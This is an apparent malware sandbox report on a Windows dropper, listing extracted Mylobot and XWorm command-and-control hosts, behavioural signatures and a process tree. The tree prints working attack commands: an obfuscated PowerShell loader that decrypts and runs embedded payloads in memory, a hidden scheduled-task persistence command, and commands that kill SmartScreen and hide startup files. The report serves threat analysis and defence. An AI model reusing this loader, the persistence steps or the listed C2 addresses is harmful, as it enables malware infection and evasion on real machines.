Resubmissions
18/08/2026, 19:34
260818-x972xsygjb1002/07/2026, 09:19
260702-labnwsfs6z29/05/2026, 16:41
260529-t7a3mabx7l26/05/2026, 03:15
260526-dr1qcadz4y21/05/2026, 18:13
260521-wt38csgz711021/05/2026, 18:04
260521-wnpssagx3s1021/05/2026, 17:59
260521-wkpzdady5j1021/05/2026, 17:58
260521-wj9bmady2k21/05/2026, 17:58
260521-wj5y7sgv4v21/05/2026, 17:57
260521-wj2lsagv3zAnalysis
- user interaction
yes - max time kernel
73s - max time network
152s - platform
windows10-2004_x64 - resource
win10v2004-20251231-en - resource tags
- submitted
17/01/2026, 16:48
General
- Target 4363463463464363463463463.exe
- Size 10KB
- Sample260117-vbc3sagy6d
- SHA256 2fcad226b17131da4274e1b9f8f31359bdd325c9568665f08fd1f6c5d06a23ce
Malware Config
Extracted
-
mylobot
-
pqrqtaz.ru:9879
-
pickcas.ru:6464
-
quwkbin.ru:3496
-
rkbupij.ru:6653
-
pcqmayq.ru:3629
-
mmuliwe.ru:3541
-
stoizji.ru:5189
-
sfdfrhh.ru:3511
-
ynciazz.ru:4127
-
mkglhnw.ru:1946
-
njeeili.ru:9987
-
dldzeoo.ru:7525
-
tkbiqjq.ru:5145
-
uenosbl.ru:2935
-
faayshc.ru:9865
-
nttfazc.ru:6761
-
nfwsyog.ru:7172
-
uyfusxm.ru:7372
-
hxkclwx.ru:1294
-
zgoysam.ru:2338
Extracted
-
xworm
-
196.251.107.104:1177
-
install_file
USB.exe
Signatures
- Detect Xworm Payload 2 IoCs
- Detects DonutLoader 1 IoCs
- DonutLoader
DonutLoader is a position-independent code that enables in-memory execution of VBScript, JScript, EXE, DLL files and dotNET assemblies.
- Donutloader family
- Modifies WinLogon for persistence 2 TTPs 2 IoCs
- Mylobot
Botnet which first appeared in 2017 written in C++.
- Mylobot family
- RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
- RedLine payload 1 IoCs
- Redline family
- Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs
- Xworm
Xworm is a remote access trojan written in C#.
- Xworm family
- Boot or Logon Autostart Execution: Active Setup 2 TTPs 2 IoCs
Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.
- Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell and hide display window.
- Downloads MZ/PE file 9 IoCs
- Drops file in Drivers directory 3 IoCs
- .NET Reactor proctector 1 IoCs
Detects an executable protected by an unregistered version of Eziriz's .NET Reactor.
- ACProtect 1.3x - 1.4x DLL software 1 IoCs
Detects file using ACProtect software.
- Checks computer location settings 2 TTPs 7 IoCs
Looks up country code configured in the registry, likely geofence.
- Drops startup file 6 IoCs
- Executes dropped EXE 27 IoCs
- Loads dropped DLL 12 IoCs
- Unexpected DNS network traffic destination 1 IoCs
Network traffic to other servers than the configured DNS servers was detected on the DNS port.
- Adds Run key to start application 2 TTPs 7 IoCs
- Contacts third-party web service commonly abused for C2 1 TTPs 9 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Enumerates connected drives 3 TTPs 4 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
- Drops file in System32 directory 6 IoCs
- Suspicious use of SetThreadContext 6 IoCs
- UPX packed file 9 IoCs
Detects executables packed with UPX/modified UPX open source packer.
- Drops file in Program Files directory 64 IoCs
- Drops file in Windows directory 3 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Program crash 3 IoCs
- System Location Discovery: System Language Discovery 1 TTPs 41 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Inno Setup is an open-source installation builder for Windows applications. 5 IoCs
Inno Setup installer
- Checks SCSI registry key(s) 3 TTPs 64 IoCs
SCSI information is often read in order to detect sandboxing environments.
- Kills process with taskkill 1 IoCs
- Modifies Internet Explorer settings 1 TTPs 16 IoCs
- Modifies data under HKEY_USERS 2 IoCs
- Modifies registry class 64 IoCs
- Suspicious behavior: AddClipboardFormatListener 5 IoCs
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: GetForegroundWindowSpam 1 IoCs
- Suspicious behavior: MapViewOfSection 5 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of FindShellTrayWindow 64 IoCs
- Suspicious use of SendNotifyMessage 47 IoCs
- Suspicious use of SetWindowsHookEx 15 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Views/modifies file attributes 1 TTPs 3 IoCs
Processes
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p1⤵
- Modifies registry class
-
C:\Windows\explorer.exeC:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding2⤵
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
-
-
C:\Windows\explorer.exeC:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding2⤵
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
-
-
C:\Windows\system32\BackgroundTransferHost.exe"BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.12⤵
-
-
C:\Windows\explorer.exeC:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding2⤵
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
-
-
C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe shell32.dll,SHCreateLocalServerRunDll {9BA05972-F6A8-11CF-A442-00A0C90A8F39} -Embedding2⤵
-
-
C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe"C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca2⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
-
-
C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe"C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca2⤵
- Suspicious use of SetWindowsHookEx
-
-
C:\Windows\explorer.exeC:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding2⤵
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
-
-
C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe shell32.dll,SHCreateLocalServerRunDll {9BA05972-F6A8-11CF-A442-00A0C90A8F39} -Embedding2⤵
-
-
C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}2⤵
-
-
C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe"C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca2⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
-
-
C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\InputApp\TextInputHost.exe"C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\InputApp\TextInputHost.exe" -ServerName:InputApp.AppX9jnwykgrccxc8by3hsrsh07r423xzvav.mca2⤵
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 4924 -s 22403⤵
-
-
-
C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe"C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca2⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
-
-
C:\Windows\explorer.exeC:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding2⤵
-
-
C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe shell32.dll,SHCreateLocalServerRunDll {9BA05972-F6A8-11CF-A442-00A0C90A8F39} -Embedding2⤵
-
-
C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe"C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca2⤵
-
-
C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe"C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca2⤵
-
-
C:\Windows\explorer.exeC:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding2⤵
-
-
C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe shell32.dll,SHCreateLocalServerRunDll {9BA05972-F6A8-11CF-A442-00A0C90A8F39} -Embedding2⤵
-
-
C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe"C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca2⤵
-
-
C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe"C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca2⤵
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k RPCSS -p1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNoNetwork -p1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵
-
C:\ProgramData\9fe8c301-e9e2-49e9-86dc-f86f5c3d8bf8\eServiceHost.exeC:\ProgramData\9fe8c301-e9e2-49e9-86dc-f86f5c3d8bf8\eServiceHost.exe -Embedding2⤵
-
-
C:\ProgramData\9fe8c301-e9e2-49e9-86dc-f86f5c3d8bf8\eServiceHost.exeC:\ProgramData\9fe8c301-e9e2-49e9-86dc-f86f5c3d8bf8\eServiceHost.exe -Embedding2⤵
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s netprofm1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNoNetworkFirewall -p1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc1⤵
- Drops file in System32 directory
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc1⤵
- Modifies data under HKEY_USERS
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s camsvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo1⤵
-
C:\Users\Admin\AppData\Local\Temp\4363463463464363463463463.exe"C:\Users\Admin\AppData\Local\Temp\4363463463464363463463463.exe"1⤵
- Downloads MZ/PE file
- Checks computer location settings
- Unexpected DNS network traffic destination
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\Files\taskmoder.exe"C:\Users\Admin\AppData\Local\Temp\Files\taskmoder.exe"2⤵
- Downloads MZ/PE file
- Drops file in Drivers directory
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\wscript.exe"C:\Windows\System32\wscript.exe" "C:\ProgramData\cdoqkwhgp.vbs"3⤵
- Modifies WinLogon for persistence
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\System32\taskkill.exe" /f /im smartscreen.exe4⤵
- System Location Discovery: System Language Discovery
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\explorer.exe"C:\Windows\System32\explorer.exe"4⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\explorer.exe"C:\Windows\System32\explorer.exe"3⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell" Get-MpPreference -verbose3⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\Temp\bangbang.tlo.exe"C:\Windows\Temp\bangbang.tlo.exe"3⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\RarSFX0\MemoryDiagnostic.bat" "4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('97llXfWIPIQpImNiK5KtBDt3irimGLQPqFnLHvKz0zc='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('mALtG2O/Bjjfm0ZW7VnQDw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $ErlSt=New-Object System.IO.MemoryStream(,$param_var); $nTyeT=New-Object System.IO.MemoryStream; $VikMi=New-Object System.IO.Compression.GZipStream($ErlSt, [IO.Compression.CompressionMode]::Decompress); $VikMi.CopyTo($nTyeT); $VikMi.Dispose(); $ErlSt.Dispose(); $nTyeT.Dispose(); $nTyeT.ToArray();}function execute_function($param_var,$param2_var){ $EmxPf=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $rHhiw=$EmxPf.EntryPoint; $rHhiw.Invoke($null, $param2_var);}$XUJev = 'C:\Users\Admin\AppData\Local\Temp\RarSFX0\MemoryDiagnostic.bat';$host.UI.RawUI.WindowTitle = $XUJev;$cDIGC=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($XUJev).Split([Environment]::NewLine);foreach ($kZWrm in $cDIGC) { if ($kZWrm.StartsWith('dneCvjYTeJjwRzOmlRHQ')) { $eHXXx=$kZWrm.Substring(20); break; }}$payloads_var=[string[]]$eHXXx.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "5⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden5⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName '$phantom-RuntimeBroker_startup_824_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_824.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force6⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\$phantom-startup_str_824.vbs"6⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\$phantom-startup_str_824.bat" "7⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('97llXfWIPIQpImNiK5KtBDt3irimGLQPqFnLHvKz0zc='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('mALtG2O/Bjjfm0ZW7VnQDw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $ErlSt=New-Object System.IO.MemoryStream(,$param_var); $nTyeT=New-Object System.IO.MemoryStream; $VikMi=New-Object System.IO.Compression.GZipStream($ErlSt, [IO.Compression.CompressionMode]::Decompress); $VikMi.CopyTo($nTyeT); $VikMi.Dispose(); $ErlSt.Dispose(); $nTyeT.Dispose(); $nTyeT.ToArray();}function execute_function($param_var,$param2_var){ $EmxPf=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $rHhiw=$EmxPf.EntryPoint; $rHhiw.Invoke($null, $param2_var);}$XUJev = 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_824.bat';$host.UI.RawUI.WindowTitle = $XUJev;$cDIGC=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($XUJev).Split([Environment]::NewLine);foreach ($kZWrm in $cDIGC) { if ($kZWrm.StartsWith('dneCvjYTeJjwRzOmlRHQ')) { $eHXXx=$kZWrm.Substring(20); break; }}$payloads_var=[string[]]$eHXXx.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "8⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden8⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
-
-
-
-
-
-
C:\Windows\SysWOW64\explorer.exe"C:\Windows\System32\explorer.exe"3⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5636 -s 10004⤵
- Program crash
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell" Get-MpPreference -verbose3⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\explorer.exe"C:\Windows\System32\explorer.exe"3⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell" Get-MpPreference -verbose3⤵
-
-
C:\Windows\SysWOW64\explorer.exe"C:\Windows\System32\explorer.exe"3⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4396 -s 10164⤵
- Program crash
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell" Get-MpPreference -verbose3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\donut.exe"C:\Users\Admin\AppData\Local\Temp\Files\donut.exe"2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\Files\t2.exe"C:\Users\Admin\AppData\Local\Temp\Files\t2.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\Files\t2.exe"C:\Users\Admin\AppData\Local\Temp\Files\t2.exe"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\svchost.exe"C:\Windows\system32\svchost.exe"4⤵
- Adds Run key to start application
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4648 -s 9205⤵
- Program crash
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\TempSpoofer.exe"C:\Users\Admin\AppData\Local\Temp\Files\TempSpoofer.exe"2⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\Files\Bloxflip%20Predictor.exe"C:\Users\Admin\AppData\Local\Temp\Files\Bloxflip%20Predictor.exe"2⤵
- Checks computer location settings
- Drops startup file
- Executes dropped EXE
- Adds Run key to start application
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\Bloxflip Predictor.exe"C:\Windows\Bloxflip Predictor.exe"3⤵
- Drops startup file
- Executes dropped EXE
- Adds Run key to start application
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\attrib.exeattrib +h +r +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows.exe"4⤵
- Drops startup file
- System Location Discovery: System Language Discovery
- Views/modifies file attributes
-
-
C:\Windows\SysWOW64\attrib.exeattrib +h +r +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Windows.exe"4⤵
- System Location Discovery: System Language Discovery
- Views/modifies file attributes
-
-
-
C:\Windows\SysWOW64\attrib.exeattrib +h +r +s "C:\Windows\Bloxflip Predictor.exe"3⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Views/modifies file attributes
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\CFXBypass.exe"C:\Users\Admin\AppData\Local\Temp\Files\CFXBypass.exe"2⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\Files\Setup.exe"C:\Users\Admin\AppData\Local\Temp\Files\Setup.exe"2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\is-MEOB3E5NHA.tmp\Setup.tmp"C:\Users\Admin\AppData\Local\Temp\is-MEOB3E5NHA.tmp\Setup.tmp" /SL5="$302C2,2668797,842240,C:\Users\Admin\AppData\Local\Temp\Files\Setup.exe"3⤵
- Checks computer location settings
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\Files\Setup.exe"C:\Users\Admin\AppData\Local\Temp\Files\Setup.exe" /VERYSILENT /PASSWORD=487f1878-6b19-4d1e-baec-6fcf9b5529514⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
